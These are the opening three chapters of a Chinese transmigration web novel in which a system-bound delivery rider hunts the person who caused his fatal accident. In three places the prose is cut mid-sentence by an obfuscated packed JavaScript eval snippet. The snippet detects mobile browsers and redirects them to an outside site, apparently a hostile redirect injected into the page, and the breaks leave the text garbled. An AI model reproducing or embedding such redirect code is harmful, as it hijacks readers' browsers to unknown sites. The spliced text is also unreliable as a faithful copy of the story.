《驯养疯批[快穿]》 1. 大哥,收手吧 【嘀,身份载入完毕】 【身份锚点:徐晓哲,脾气火爆爱骂人,嗜钱如命,癖好特殊,骑手界卷王】 【请宿主点击「确认」,开启任务】 李株躺在草丛中,新穿进的这具身体发生了严重的车祸,耳边嗡嗡作响,眼皮重得睁不开。 灵魂和身体逐渐契合,拿到控制权的第一时间,他确认选项完成任务绑定。 属于原主的记忆涌入脑海。 原主名叫徐晓哲,是名外卖骑手。 他所在的配送公司,每天早上八点有安全培训,骑手打卡满一个月可拿奖金。 蚊子腿也是肉,徐晓哲不可能放过,已连续十三个月拿下奖金。 今天是本月最后一天,宿醉醒来的他眼瞅马上要迟到,愣是把电瓶车骑成了竞赛摩托。 出门不到三分钟就发生事故,当场死亡。 “哥,哥,能听到我说话吗?”是和原主一起在孤儿院长大的兄弟郎峰。 焦急的呼喊中夹杂着嗷嗷哭声:“你可千万不能有事,坚持住,我马上叫救护车。” “别打电话。”李株费力地掀开眼皮,虚弱地说,“也别说话,吵得我头疼。” 原主腿部骨折,其他部位多处擦伤,这些是小问题,大问题是后脑勺遭到高速撞击,造成颅内脑干损伤。 李株能睁眼说话,全靠系统加持。 郎峰像被下了定身咒,紧闭上嘴,生怕发出一点声音把人吵晕过去。 感受到破烂的身体开始修复,李株从憋闷的胸腔中吐出一口浊气。 他在意识中呼叫小伙伴:“365。” 脑海中传来电子音:“我在,即将为宿主发放任务内容。请宿主做好心理准备,本次任务不同以往。” 李株不是第一次执行快穿任务。 以往的工作内容是去往各个小世界扮演NPC,保障世界剧情正常运行。 技术含量低,演就行。 这次会是什么? 【本轮穿越任务——找到并清除由负向情绪淤积形成的高危目标,可根据周围人对宿主产生的「负向情绪值」甄别判断】 【本轮快穿顺利结束,宿主将少走四十年弯路一步退休,还有巨额奖金等你拿】 【介于宿主第一次执行此类任务,特给出重要提示:本世界任务目标正是加害徐晓哲的凶手】 李株得到了三条关键信息。 一,原主可能认识的目标。 二,徐晓哲的车祸是人为造成。 三,高回报对应高风险,本轮任务绝对有坑。 最紧要的是,该死的人没死透,意味接下来还有其他危险等着自己。 日头渐高,柔和的晨光变得刺眼,李株眯着眼问:“小峰,我手机呢?” 手机里或许有线索,还要把现场拍下来。 “都什么时候了你还想着手机,少赚一天饿不死。”郎峰一边生气,一边捡起水坑里的手机甩水,“糟了,进水了。” 进水的手机不要马上开机,他颇有经验地扯起衣服擦干表面,暂时放进自己裤兜里。 错位的骨头发出嘎嘣的脆响,李株皱了下眉。 时刻关注他的好兄弟连忙追问怎么了,是不是哪里疼,作势又要打电话。 李株握住他的手制止:“真的没事,再躺会儿就好。” 为了证明自己不是逞强,他小幅度的活动胳膊,抬了抬腿。 郎峰信了,不由得想起之前惊险的一幕。 超速行驶中的电瓶车突然拐弯,鬼遮眼似的往前冲。车子撞上树干被迫停下,车上的人如同轻飘飘的麻袋,被甩飞出去四五米。 落进草丛后,他哥的身子猛烈抽搐几下,彻底没了动静。 郎峰扑上去跪在旁边又哭又喊,以为人没了。却见地上的人睫毛轻颤,似要清醒。 “哥你想躺多久躺多久,我帮你扇风。”说着摘下脑袋上的太阳帽,帮忙驱散周遭热气。 李株感受了下,身体修复到百分之八十,就是还有点头晕,便让郎峰扶自己去路边的石墩坐。 郎峰带着人慢慢挪动,也在悄悄观察,确定他哥只是胳膊和腿上有皮外伤。 把人安置好后,才转身去扶倒地的两辆电瓶车。 黄色那辆是他的,没什么磕碰,绿色那辆受损严重,车头整个外壳撞碎,散落一地。 郎峰看着遍地零件叹口气说:“车坏成这样没必要修了,你身上还有这么多擦伤,今天请假别去上班,咱们先去医院检查,再去买车。” 网上有报道,有人被车撞后爬起来就走,第二天死在了家里。 他不放心。 “小伤 ,不碍事。”李株语气随意,平静地抚掉膝伤口处的泥沙,眉头都没皱一下。 他痛觉神经异常,感觉不到疼。 郎峰没注意到这一细节,注意力全在李株刚才那句话上,觉得别扭的。 半晌,他说:“哥,你不对劲。” 徐晓哲看重钱,吃穿住行能省则省,头疼脑热只买最便宜的药吃。 谁敢让他花钱去医院,他能把人喷的狗血淋头。 今天脾气怎么这么好?居然没骂他。 李株想问哪里不对,腹部传来咕噜一声,像多出两根筷子在使劲搅弄,他的脸色歘的一下煞白。 冷汗迅速浸透薄薄的衣物,李株捂着肚子蹲下,眼前发黑。 ……痛麻了。 —— 系统不做无用功。 给出了原主的身份锚点,必定会设置对应的崩人设惩罚。 按照以往经验,OOC一次口头警告,两次扣一个月绩效。 十次扣除全年奖金。 没有演戏天赋的李株被扣习惯了,不内耗直接摆烂。 365:“鉴于你以往态度不端,此次OOC惩罚为疼痛体验,同时在宿主身上投射具体病症,希望宿主牢记教训。” 第一次体验五级疼痛的李株,生无可恋地躺在病床上,胳膊和腿上都消过毒了,凉丝丝的。 郎峰愁眉苦脸的坐在一旁,手里捏着缴费单子。 “出个车祸咋还整出急性肠炎了呢,会不会是车祸并发症?我就说要检查……” 李株垮起个脸,使出浑身解数演:“检查个屁,医院就知道坑人钱,这次输液又去了三五百吧,有这钱不如买两条好烟抽。” 给隔床发药的护士睨他一眼,长了张端正的脸,没长会说人话的嘴。 亏得那大个子背着人哭着求医生治疗时,她和同事们跟着心酸了一把。 郎峰尴尬地冲病房其他人笑了下,低声对李株说:“哥,这是在别人家地盘,小声点。” 李株酝酿,梗着脖子道:“我说的是事实,谁不乐意听,谁就是心虚。” 说完在心里抽了自己几巴掌。 嘴真贱啊。 不行,得想个法子让这张嘴去对付敌人,而不是用来伤害自己人。 “是是是,是我说错了。”郎峰放弃劝说,出门给站长打电话请假。 站长忙得很,知道人活着只是受了轻伤,口头关切几句就挂了。 郎峰回病房继续照顾病人,等输完液,李株是一刻等不了,闹着要回车祸现场。 事发点距离他们居住的城边村约五百米,路过的多是上下班的外来务工人员,大概觉得车祸晦气,纷纷绕着走。 不远处的树下,两个拿蛇皮口袋的大爷在唠嗑,时不时往这边看。 打算等到正午,倘若一直没人来认领,就把车搬回去当废品卖。 就在两人看时间差不多了,活动腿脚准备行动时,两个年轻人匆忙赶来。其中一人环顾四周,弯下腰开始找东西。 郎峰看着忙活的李株,奇怪道:“你找什么?我帮你。” 回来路上,李株复盘想起车子失控前,前轮明显碾到一个硬物。 刚才他检查过了,前轮有个较深的洞,说不定是导致车祸的关键线索。 李株没法精准地形容出来,比划着说:“能扎破轮胎的东西,至少这么长。” 太短的话,无法穿刺轮胎。 郎峰反应过来:“你怀疑是车胎扎爆了引发的车祸?” “嗯。”李株怕他追问,佯装不耐烦地“啧”一声,“别废话,赶紧找。” 郎峰怕他发火,不敢多问,老老实实闷头找起来。 不知是被凶手带走了,还是掉到了其他地方,两人顶着太阳忙活两个小时,没发现一个可疑物件。 汗珠从头发里流出来,挂在漆黑的睫毛上,李株实在热得受不了了,郁闷道:“附近也没个监控。” “何止没有监控,连路灯都没有。”郎峰抱怨,“哥你还记得不,上回咱俩车子快没电了,抄这条近道差点骑沟里。” 确有其事。 李株揩掉眼皮上的汗:“不找了,先回去换身衣服。” 出租房在几百米外的城边村,一栋栋自建房错落有致的立在地上。 电瓶车穿过交错的巷子,停在一栋多层建筑院外。 李株从后座下车,仰头看去,租的房子在三楼,是三室一厅。原主和郎峰合住东边的侧卧,一个四十多岁的中年女人住主卧。 原主和她不对付,见面就掐,谁也不让谁。 李株给这段记忆划重点。 剩下最小的房间原本是书房,住着同样是外卖骑手的年轻男人。 李株刚进门,正对玄关的主卧门开了。 瞥他身上的血,沈萍芳捂着胸口“啊”了一声。 李株看了眼自己身上:“少见多怪,上午出了车祸,是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276046|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的血。” “呸,怎么没撞死你!”沈萍芳恶毒地咒骂。 “我命硬,得好好活着给你烧纸。”李株轻飘飘说完,看到对方头上多出一行字。 【负向值+500,死祸害早点去死吧】 三秒,提示消失。 “求着给老娘烧纸的人多着呢,轮不上……”意识到把自己给骂进去了,沈萍芳及时住口止损。 她看到地上多出的两排鞋印,新仇就恨一起算:“成天脏得像乞丐也就罢了,眼睛也跟着瞎了吗?看不到地是湿的?刚拖完的地又踩脏了!” 她对兄弟二人意见很大。 早出晚归闹出动静,影响她休息,进门不习惯换鞋,夏天身上有汗臭,不讲卫生等等,坏毛病十根手指数不过来。 好在下个月房东要涨房租,两人肯定退租。 “乞丐怎么了?乞丐讨饭你讨嫌,你脑仁全是花岗岩。”李株以前执行任务憋屈的时候居多,头一次体会到骂人的快乐。 爽死。 沈萍芳又一次败了下风,徐晓哲骂人很脏,今天功力见长,用上押韵了。 她气势弱下去,外强中干地喊:“你个没教养的疯子!神经病!” 不想和这种人共同呼吸一片空气,用力剜李株一眼,挎着包气呼呼地走了。 李株取得阶段性胜利,没来得及高兴,胃部就随着激烈的情绪一起翻涌。食道被反流的胃酸刺激,火辣刺痛。 “365,疼痛惩罚要持续多久?” “宿主请放心,只有24小时。” “……” 见郎峰拿着拖布过来,李株忍着难受抢过拖布,默默清理地面。 郎峰见怪不怪,露出憨憨的笑。 他哥是个很矛盾的人,无论对错自己必须占上风,理亏拒不认错,事后再默默补救。 这和他们的生长环境有很大的关系。 孤儿院长大的孩子缺衣少食,只有竖起满身尖刺,才能替两人护住一个馒头,两块糖果。 所以郎峰被骂得再狠也不生气。 那些对所有人发起攻击的刺,不知何时成了徐晓哲的铠甲,是刻进身体的本能。 改不掉了。 李株洗完拖布来到卧室,开门闻到一股难以描述的复杂气息,差点吐出来。 他捏着鼻子退出来,指挥郎峰进屋开窗换气。 郎峰用力闻:“啥味儿啊,我咋闻不到。” 两个大老爷们的屋子里,充斥着汗臭和鞋臭的复合气味。郎峰习以为常,鼻子失灵似的穿过房间,推开两扇老旧的窗户。 李株看着他的背影感叹,比365听话太多了。 熟悉的电子音响起:“哦,那把刚到账的任务更换补偿退了吧。” “别退别退,统哥最好啦,爱你。”李株一个激灵站直,垂在腿侧的右手,拇指和食指捏在一起比心。 365哼了一声,放出光屏。 【小推车(可持续升级版):瓜子、饮料、矿泉水,欢迎选购。】 李株露出地铁老爷爷看手机的表情。 不是外挂,是鸡肋谢谢。 瞬间没了兴趣。 【获取方式:可用「正向值」兑换】 【正向值:即周遭围绕宿主产生的强烈的正向情感,包括喜乐、关心、勇气、爱意等。】 与负向值截然相反。 李株灵光一闪:“如果能从目标身上,获取正向情感怎么说?” 任务目标是负向情绪的终极体现,从他人身上获取正向情感,难于上青天。 365:“积分井喷增长,小推车升级指日可待。” 升级意味着产品更丰富,功能更多元,有助于尽快完成任务。 李株感觉身上有使不完的劲儿,恨不得马上锁定目标。 “沈姐对我的负向值是多少?”他要用来当参考。 【对象:沈萍芳;负向值:3030】 “……” 李株被这可怕的数字镇住了。 沈萍芳作为合租人,烦原主能烦到三千多分,那杀害原主的真凶,不得来个一万分起步? 思忖片刻,他否定了这一想法。 不能这么算。 有的人仇恨入骨,口头咒骂。有的人不过争执几句,就冲动杀人。 单靠数字判断不够精准,万一搞错目标耽误进度,得不偿失。 第一次执行如此复杂的任务,李株两眼抓瞎,暂时没有头绪。兵来将挡,水来土掩,走一步看一步吧。 房间里过于安静,他疑惑地抬头看向窗边。 两分钟前对他无比关切的大兄弟,正咬牙切齿地盯住楼下,头上显示: 【负向值+200,哥的心上人回来了,他就不能改改喜欢男人的臭毛病吗!】 2. 大哥,收手吧 徐晓哲不是一个普通的同性恋。 是有偷窥癖的同性恋。 幸运的是,身份锚点中没有提到必须扮演给子,李株不用直装弯,只需复刻“偷窥”这一特殊癖好。 在郎峰转头看过来时,李株蹙眉:“你什么表情,见鬼了?” “你对象回来了。”郎峰阴阳怪气。 “你对象。”李株反弹回去,对上郎峰震惊的脸,他亡羊补牢,扭捏羞涩地说,“不准造谣,庄恒川听到要生气。” 有一瞬间,郎峰以为车祸把他哥的性向撞好了。 “成天就知道庄恒川,他皱个眉你都要心疼老半天。”他没好气地看着李株脏兮兮的衣服,“我打包票,你如果告诉他今天出了车祸,他一定高兴鼓掌。” 话音刚落,客厅传来开门声。 郎峰两步跨到房门口,一脚踹上门:“不准偷看!” 庄恒川就是他哥的诅咒。 只要碰到这个人,他哥的火爆脾气就偃旗息鼓,羞答答的像个小媳妇。 郎峰心里全是气,想多骂几句把人骂醒,又怕他哥恢复正常理智,反把他喷得狗血淋头。 李株此刻满脑子都是原主对庄恒川做的智障行为。 无时无刻的偷窥,偷拿男人扔掉的垃圾,闻他落在客厅的衣服……以及一次次潜入对方卧室,放下精心准备的小礼物。 这些礼物基本是外卖过程中,客户不要的东西。 有时是一捧鲜花,一杯奶茶,有时是一份冷掉的盒饭。 桩桩件件都让李株头皮发麻,怪不得郎峰对他产生负面情绪。 扯了扯身上新换的短袖,系好运动裤的系带,李株低头摸摸肚子感觉好转不少,开门走出去。 庄恒川一身腱子肉,略紧的黑色衣物勒出明显的胸肌轮廓,个子也高,立在那里宛如一座小山。 不需要扭头看清来人是谁,头顶的文字提前暴露了他的想法。 【负向值+100,来了来了,那个变态他来了】 男人在用力深呼吸,嘴唇抿成一条直线,垂在腿侧的拳头已经攥紧。 他想打我,李株意识到这点,顿住脚。 “365,庄恒川目前总值多少?” 【对象:庄恒川;负向总值:3100】 李株想了想:“郎峰的总值呢?” 【对象:郎峰;负向总值:680】 开局就是地狱模式。 四个人的合租屋,有两个仇人,还有一个在成为仇人的路上。 “你看着我干什么。”余光瞥见李株一直站在那里,庄恒川率先开口。 这人一出现,他就浑身难受。 甚至有点害怕。 怕他又做出什么恶心事。 李株对他友好地笑了下,庄恒川一怔。 徐晓哲向来畏畏缩缩不敢直视他,还会面红耳红,这是青年第一次对他露出正常笑容。 庄恒川的拳头又捏紧几分,眼神暴露出几分凶狠,俨然是受够神经病的骚扰。 “我不喜欢你了。”李株语出惊人。 庄恒川愣了下,皱眉审视:“你又耍什么花招。” 李株指了指自己露在短裤外的腿,常年捂着的缘故,皮肤很白。没有包扎的皮外伤上,是一团红褐色的碘伏。 庄恒川不懂他想表达什么,不耐烦地转身要走。 李株站在后面喊:“我早上出了车祸,摔了一跤想明白了,人生在世平安健康最重要,其他的都是浮云。” 庄恒川冷笑,回头问:“钱也是浮云?” “金钱是健康生活的基础保障,当然不是。”李株直直看向庄恒川,“你以后不用再防着我,可以的话,我希望大家能当朋友。” 在经历过生死之后,的确有人会大彻大悟。 庄恒川不作评价,先进自己房间巡视一圈,发现桌上摆着一件不属于自己的物品。 他拿着茶杯蛋糕走出来,撕下黏在上面的爱心便利贴。 上面写着:甜蜜的蛋糕送给你,你甜我更甜。 李株看清内容,脚指头抓地。 他两手一摊,满脸真诚:“那是车祸前的我放的,与现在的我无关。” 为了表示自己弃爱的决心,他拿过蛋糕扔进垃圾桶。 杯子上的弧形透明塑料盖被撞开,劣质奶油蹭到黑色垃圾袋上。 庄恒川看着这一幕若有所思,徐晓哲以前发过疯,被他不留情面的拒绝后,当场又哭又闹。 这就是个疯子,不能信。 庄恒川厌恶的收回视线,不想再和李株掰扯,粗暴地撞开人走进厨房找水喝。 李株感知到他的情绪变化,跟了上去:“你不信我?” 庄恒川拎起水壶接自来水,后背随着李株靠近,泛起一层鸡皮疙瘩。 他忍无可忍的放下水壶,目光凶狠:“别他妈离我这么近!” 厨房门口的李株比划着两人之间的距离:“一米多呢,是正常社交距离。” 庄恒川揉了揉眉心,是他太敏感,烦躁地将水壶放到底座上。 “这么热的天喝点凉的吧。”李株想示好,打开冰箱发现空空如也,什么也没有。 原主没有买矿泉水的习惯,也舍不得买。 “365我要兑换小推车里的矿泉水。”李株随机应变,侧身挡住半敞的冰箱门。 365:“矿泉水售价5个积分,宿主目前正向总值为0。” 李株怪他太死板:“赊一瓶。” 365:“可以,请宿主三日内还清。” “欧克欧克。”5个积分而已,小意思。 365还要说什么,李株没顾得上听,从冰箱侧门拿出凭空冒出的矿泉水。 矿泉水伪装成了市面上最常见的牌子,他递给庄恒川:“给。” 庄恒川不接,李株的手往前伸了伸,庄恒川还是不接。 李株:“怕我下毒?” 李株拧开瓶盖,当场喝了一大口,将剩下的水往前递。 庄恒川看着那亮晶晶的瓶口,越发觉得可笑,花样真多:“我不吃欲擒故纵这一套,你死了那条心吧。” 李株维持着递水的动作,瞳孔紧缩。 【负向值:+500,他对我的迷恋越来越过分了!居然想骗我间接接吻!】 庄恒川避他如蛇蝎,完全忘记自己回来是为了拿东西,推开李株风一样冲出大门。 有脚步声靠近,是郎峰过来了。 他斜倚着门,神色复杂:“就不能换一个人喜欢吗?你不累我都替你累。” 李株指天发誓:“他不信我,你也不信我?我真的不喜欢他,也不喜欢男人。” “信你那张嘴,谁信谁后悔。”郎峰抛下话就跑。 “我看你是皮痒!”李株追出去,扯着嗓子怒吼,“信不信我把你挂起来抽个三天三夜!” 跑下楼的郎峰坐上电瓶车,两手捂着耳朵。 感觉到肩膀被狠狠拍了一下,他打了个哆嗦,回头看向跨上后座的人。 李株冷脸命令:“走。” 郎峰老老实实地发动车子,载着人先去城边村熟悉的手机店。 跑外卖的,免不了手机要出点小意外,老板和两人很熟。 他熟络的打招呼:“好久不见,这回又是谁的手机坏了?” 李株下车,手里拿着没喝完的矿泉水,仰头又喝了一口。 郎峰看见了:“哪儿来的?” “凭空变出来的。”李株翻白眼。 郎峰缩缩脖子,不敢再问,掏出坏手机放在玻璃柜上。 老板拿起来:“外观看着没问题,进水了?” 李株点头说:“掉水坑里了。” 老板拿着手机坐到工作台前开始拆机,检测。 “短路烧坏了主板,修一下至少得这个数。”他在计算机上敲下数字。 郎峰心头收紧,悄摸观察他哥。 面无表情,是要爆发的前兆。 李株知道这时候应该摆出抠门肉痛的表情,可他做不出来,从身体到心灵陷入某种难以描述的宁静。 只见他眼眸半垂,嘴角漾出平和笑意,语气缓慢到近乎诡异。 “可以接受。” 郎峰两眼溜圆,以为他发烧了,伸手去摸李株的额头:“哥,他说的可是一千多块,顶你四天工资,四十顿盒饭呢!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276047|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李株脸上的笑容不变:“我听到了,没关系的。” 外卖骑手的手机进水和磕碰在所难免。 眼前两兄弟这一年半间,来他这里共修了四次手机,每次姓徐的都要讲价,而且态度蛮横,不便宜就是不理解底层劳动人民。 在李株平和地接受价格后,老板陷入了和郎峰一样的震惊。 他问郎峰:“他受什么刺激了?” 郎峰觑着李株淡然到祥和的侧脸,忽然打了个哆嗦,他哥该不会被鬼上身了吧? 车祸的草丛里肯定有野坟! 郎峰的面部肌肉不可抑制的颤动,脚下后退半步:“你不是我哥……” 察觉到他古怪的反应,李株不但不骂人,仍旧保持温和的态度:“我是。” “那你怎么不砍价!还一直对我笑!”郎峰要疯了,他从小被丢在孤儿院门口,哥和他没有血缘关系,却比亲人还亲。 要是哥没了,他一个人活着还有什么意思? “老板敞开门做生意是为了赚钱,做消费者的应该多理解,以前砍价是我格局小了。”李株慢悠悠的解释,在心里哭得捶胸顿足。 他控制不了自己的表情,更控制不住自己的嘴。 “统哥救命!系统绑定是不是出问题了!” 系统懒得跟宿主废话,在光屏上投放出以下内容: 【矿泉水:喝一口心静如水,喝两口万事皆抛,好喝你就多喝一点】 李株真的要闹了,怎么不早说! “我想说也得你愿意听啊。”365是有个性的系统,“早说过做任务不能急,偏不听。” 李株:“……” “你不是我哥!我哥是个守财奴、死抠门,他说不出这种话!”郎峰承受不住打击,歪斜靠在老板的玻璃柜上,眼神开始涣散。 老板很现实,由衷感慨:“大兄弟是好人,能理解我们做生意的难处。不如这样,你这电池用了也挺久了,我给你换个新的,友情价只需要再加五百。” 李株在心里咒骂死奸商,嘴上的弧度不变:“老板大气,谢谢老板。” “疯了,彻底疯了。”郎峰自言自语,扑上去抓住李株的肩膀前后摇晃,“不管你是人是鬼,马上放了我哥!” 充满愤怒的呼喊没能将人唤醒,他颓然地停下动作,咬咬牙,伸手想一巴掌把人抽醒。 可当扬起手,看到李株居然问想打哪边,甚至把脸往前凑的时候……郎峰的手放了下来。 他转身坐到台阶上,抱着脑袋痛哭。 从车祸起,郎峰的精神就高度紧张,之后他哥急性肠炎进医院,两人好不容回到家,又碰上庄恒川。 眼下他哥又变成如今这副鬼样子。 他们只是想努力赚钱,安安生生过日子,为什么这么难。 老天爷就这么见不得他们好吗? 李株被他哭得心头泛酸,眼眶不自觉的也湿了,他不紧不慢地敲敲老板玻璃柜子:“有水吗?” 老板下意识指向手边的大茶缸子:“有,你们来前刚灌满。” 李株说了声“谢了”,端起来就往嘴里倒,喝得肚子饱胀。 不一会儿就来了感觉,借老板的卫生间一用。 郎峰见他继续发疯,哭声越来越悲切,藏着浓浓的委屈和被生活压迫的疲惫,路过的人纷纷好奇的停下来围观。 矿泉水被成功代谢,李株浑身通畅,挨着郎峰坐下来,“怎么哭上了,哥跟你开玩笑呢。” 郎峰猛地坐直,难以置信他会这么畜生。 李株用手替他抹掉脸上的泪:“今天出了这么多事,哥心里憋屈,就想发疯发泄发泄。” 郎峰怔了怔,抽泣一声问:“现在好了吗?” “好了。”李株用力环住他的肩,郑重其事地保证,“别哭了,往后哥带你吃香喝辣,专注事业走花路。” 对未来的憧憬中没提到男人。 郎峰问:“那他呢,真不喜欢了?” 人群中,庄恒川也在。 他倒回家取了东西,听楼下邻居说有疯子在哭闹,好奇跟来凑热闹。 正好听见李株满不在乎道:“喜欢能当饭吃?能让我发大财?” 3. 大哥,收手吧 郎峰看着李株的眼睛。 坚定、坦然,不像撒谎,他破涕为笑,胡乱抹了把眼泪拽着他哥站起来。 “大兄弟。”手机店老板一时无法接受到嘴的鸭子飞走,伸着脖子问,“咱们说好的维修价还算数不?” 眼神中闪烁着几分不甘和强势,无声地威胁两人不准反悔。 “多少来着?我给忘了。”李株装傻充愣,对郎峰示意,“你不是有录音的习惯吗?拿出来放一放,让大伙儿一起来听。” 郎峰心领神会,缓慢将手插进裤兜里。 原本要散的人群重新聚拢起来,好戏不嫌多,他们还没看够呢。 老板变了脸色,有病吧,谁没事喜欢录音! 漫天要价的事被其他人知道了,往后谁敢在他这里修手机? 老板强笑着打断郎峰的动作:“街里街坊的,没必要哈。” “既然是邻居,那就优惠点。”李株在计算器上敲了几个数字。 保本基础上加了一百块,老板险些咬碎后槽牙,用力戳着计算器往上加。 李株在心里计算一番,痛快道:“成交。” 这笔生意赚得不多,老板心情很糟,态度很冷:“三天后来取。” “两个小时。”李株寸步不让,眼睛瞟向郎峰插在兜里的手。 老板神色一僵,深吸一口气妥协:“稍等。” 等待修手机过程漫长而无聊,李株坐在旁边的高脚凳上转圈圈,郎峰则抱着手机玩游戏。 看着老板那副恨不得把手机当成他来戳的架势,李株问系统:“老板这么恨我,负向值没涨吗?” 怎么不报数了。 365:“前三次为新手教程,自动弹出数据,后续可根据宿主意愿和本系统的判断随意调取。” “好吧。”李株道,“报数。” 【负向值+5,臭小子敢耍我,等着,老子总有一天要收拾你】 这么大仇恨只加5分,而沈姐、郎峰、庄恒川都是成百往上加。 李株手肘压在玻璃柜上,两手托腮陷入了沉思。 没多久,他扬声对老板说:“老板,我们跑外卖挣的是血汗钱,维修费再便宜点呗。” 老板抬起头,哭丧着脸:“算我求你,不能再砍了。” 【负向值+5,还没到手就刀的人最可恨,真想用螺丝刀戳死他】 依旧是少量增加。 李株耸了耸肩,没再继续杀价。 闲不住似的,他胳膊肘撞向沉迷手机的郎峰:“我想了想,生活中不能没有爱情,陪我去买个摄像头,偷偷装在庄恒川房间里。” 郎峰手指一划,操控的人物出现严重失误,被当场秒杀。 他震惊地抬起头,话未出口,数据抢先跳出来。 【负向值+400,骗人天打雷劈!!】 一下子加这么多! 李株搬起石头砸了自己的脚,不着急,先倒打一耙:“别生气,哥吓唬你呢,谁让你只顾着玩游戏,再盯下去眼睛就瞎了。” “不是骗我?”郎峰一颗心被他整得七上八下。 李株就在等这句:“随口一句就试出你小子怀疑我,脖子上顶颗球,光有傻气不长脑子?哥是说话不算话的人?” 郎峰委屈地摇头:“我错了,以后不敢了。” 李株情绪一激动,偃旗息鼓的肠胃便开始唱反调。 伤人一千自损八百,报应。 他一手扶额头,一手捂着肚子,在心里推测:积分的增加有规律,周遭人对他积累的负向情绪越多,持续时间越久,积分增值越高。 “好了。”正正好两个小时,老板修好手机,出示收款码。 李株付钱走人,开机查看线索。 原主的手机装着很多东西,获取消息的骑手群、各外卖店老板,好友只有郎峰和王经理。 王经理是红月高级会所的大堂经理,微信号加于四天前。 “哥,怎么不走了?”郎峰古怪地看向突然停下的人。 李株紧握着手机,习惯性地在思考时轻咬下唇内侧的软肉。 “没什么。”他边走边回忆。 对于求财若渴的原主来说,王经理是财神爷,大客户。 自认识以后,接连三天王经理都会用微信联系徐晓哲,让他在下午三点,送一份高级点心到郊区的高档别墅区。 昨天下午,王经理表扬他做得不错,转账三千作为打赏,备注自愿赠与。 这和天上掉钱有什么区别?徐晓哲提前下班,买了许多酒庆祝。 李株看着对话框中的转账记录,想起一件可疑的事。 第一次送点心那天天气很热,徐晓哲顶着高温抵达。 开门的人是保姆阿姨。 徐晓哲把盒子交给她,转身时忽然听到动静,一个坐在轮椅上的男人出现在阿姨身后。 男人长得好看,比庄恒川还帅。 短暂的发过花痴,徐晓哲客气地打了个招呼,转身便要离开。 “进屋喝口水再走吧。”男人的唇勾出温和的弧度,搭在电动轮椅上的手指细白修长,操控轮椅往客厅去。 头脑一热,徐晓哲鬼使神差跟了进去。 别墅装修奢华典雅,徐晓哲进屋就后悔了,觉得自己与此处格格不入。 男人丝毫不在意他满是灰尘的衣服,指向沙发:“坐。” 阿姨轻轻放下咖啡和新送来的点心,馥郁的香气萦绕在鼻尖,很少嘴馋的青年忍不住咽了咽口水。 男人笑着说:“别客气,吃吧。” 徐晓哲客客气气的,双手拿起一块糕点吃进嘴里。 夹杂着果香味的点心入口即化,中间夹着丝滑的淡奶油。 男人取过矮几上的书,垂眸翻开,“白天家里只有陈姨和我,实在是有点无聊,不介意的话多待一会儿再走,就当是陪我这个残废打发时间。” 那么好看的脸,说出这么可怜的话,徐晓哲很难不动摇。 反正跑这一趟能赚一百多,他想也不想答应下来。 书页摩擦发出沙沙声,徐晓哲喝掉那杯咖啡后竟然有些犯困,不知不觉间睡着了。 再醒来,人躺在沙发上。 陈姨走过来:“时间不早了,赶紧回家吧。” 徐晓哲红着脸起身,手忙脚乱地整理皱巴巴的衣物。离开前,他站在花园里回头朝楼上望去。 一道纤瘦的人影立在三楼窗前。 徐晓哲吓了一跳,也认出那不是款待自己的人。 可男人不是说,白天家里只有两个人吗? 之后两天,下午三点准时,徐晓哲从王经理手里接过点心送去别墅,再也没遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276048|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到过那个人。 ……回忆到这里就结束了。 李株摩挲着手机,正常人会邀请陌生人进家里喝咖啡吗? 不排除个别,绝大多数人不会这么干。 要找机会再见一面,看看男人对原主有没有负面情绪。 —— 第二天清早,骑上全新小电驴的李株抵达站点,接受安全培训。 为了让宿主工作调查两不误,系统帮忙调整了身体各项指标,跑完大半天外卖下来,李株精力充沛到能再送24小时。 郎峰坐在树荫下,仰头看容光焕发的青年:“不愧是我哥,精力太好了吧。” “昨天输液花了那么多钱,不赚回来我心里不踏实。”李株调整好帽子,手机上弹出一条微信。 【王经理:小徐忙不忙,有空帮我送趟点心吗?】 瞌睡来了就有人递枕头。 【小徐努力:王经理有吩咐,我必须有时间,马上到】 李株骑上车就走。 郎峰在后面追着喊:“注意安全,别骑太快!” 红月会所的大门口,精瘦的王经理拎着食盒来回踱步。 看到下车疾步走来的青年,他愣了下:“你腿怎么了?” 腿上有伤,总是捂着不利于恢复,李株今天穿的短裤。 他甩甩腿,眼睛里是压不住的烦躁:“昨天清早摔了一跤,车也坏了,这不,刚买的新车。” 王经理眯起那双小眼睛,安慰:“大难不死,必有后福。旧的不去,新的不来。” 李株扫过他光秃秃的大脑门。 【对象:王经理;负向总值:0】 王经理递上点心,与之前三次一样,反复交代千万不能颠簸,必须保证点心的造型不坏。 李株拍胸脯说:“放心吧,走了。” 目的地叫兰心湖泊,是与自然相依托的高档别墅区,全程需要四十分钟。 